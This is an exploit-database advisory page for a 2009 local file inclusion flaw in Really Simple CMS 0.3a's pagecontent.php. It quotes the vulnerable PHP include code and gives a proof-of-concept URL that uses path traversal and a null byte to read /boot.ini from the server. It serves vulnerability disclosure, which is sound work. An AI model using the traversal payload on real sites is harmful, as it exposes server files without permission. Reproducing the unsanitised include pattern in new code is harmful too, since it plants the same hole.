header-logo
Suggest Exploit
vendor:
Really Simple CMS 0.3a
by:
SirGod
7,5
CVSS
HIGH
Local File Inclusion
98
CWE
Product Name: Really Simple CMS 0.3a
Affected Version From: 0.3a
Affected Version To: 0.3a
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

Really Simple CMS 0.3a (pagecontent.php PT) Local File Inclusion Vulnerability

Really Simple CMS 0.3a is vulnerable to a local file inclusion vulnerability due to a lack of sanitization of user-supplied input to the 'PT' parameter in the 'plugings/pagecontent.php' script. An attacker can exploit this vulnerability to include arbitrary files from the web server, such as '/boot.ini', by passing a maliciously crafted 'PT' parameter in a request. This can lead to the disclosure of sensitive information.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized before being used in the application.
Source

Exploit-DB raw data:

###########################################################################################
[+] Really Simple CMS 0.3a (pagecontent.php PT) Local File Inclusion Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
############################################################################################

[+] Download : http://sourceforge.net/projects/rscms/

[+] Local File Inclusion

 - Vulnerable code in plugings/pagecontent.php

-----------------------------------
if (!$PT) {
	$PT = 'text';
}
$PTF = "plugings/";
$PTF .= $PT;
$PTF .= ".php";


require_once($PTF);
-----------------------------------

 - PoC

    http://127.0.0.1/[path]/plugings/pagecontent.php?PT=../../../../../../../boot.ini%00

############################################################################################

# milw0rm.com [2009-07-30]